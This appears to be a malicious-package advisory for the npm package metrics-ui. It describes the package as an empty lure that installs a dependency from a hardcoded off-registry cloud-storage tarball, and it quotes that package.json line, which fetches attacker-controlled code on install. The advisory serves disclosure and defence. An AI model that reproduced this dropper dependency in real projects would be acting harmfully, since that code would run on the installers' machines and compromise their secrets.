metrics-ui
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-g4m5-r29v-w7gh
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in metrics-ui (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (40a5f1c46b3dedff62a0fbbb97026f6ad0b4c59cbbfb5f3078de824328c09b8c)
metrics-ui is a functionally empty npm package (hollow index.js, no scripts) whose only effect on installers is pulling in a runtime dependency resolved from a hardcoded off-registry URL. package.json declares dependencies.ltidisafe = "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.4.4.tgz", causing npm to fetch and install that tarball's contents into node_modules on every npm install metrics-ui. The tarball is served from a Google Cloud Storage bucket path controlled by whoever owns the bucket, bypassing npm registry publication, scanning, and immutability guarantees; the bucket contents can be swapped at any time and any lifecycle hooks or top-level require() side effects in the fetched package then run in the installer's environment. The package name resembles common analytics/UI naming while shipping no actual UI or metrics code, consistent with a dropper-lure shape whose sole purpose is to force-resolve attacker-controlled code into consumers' dependency graphs.
Source: ghsa-malware (e9f8558ac68be73ce64768cc451fbc5236c26db9f555c7c86a687c253a2bb7b6)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0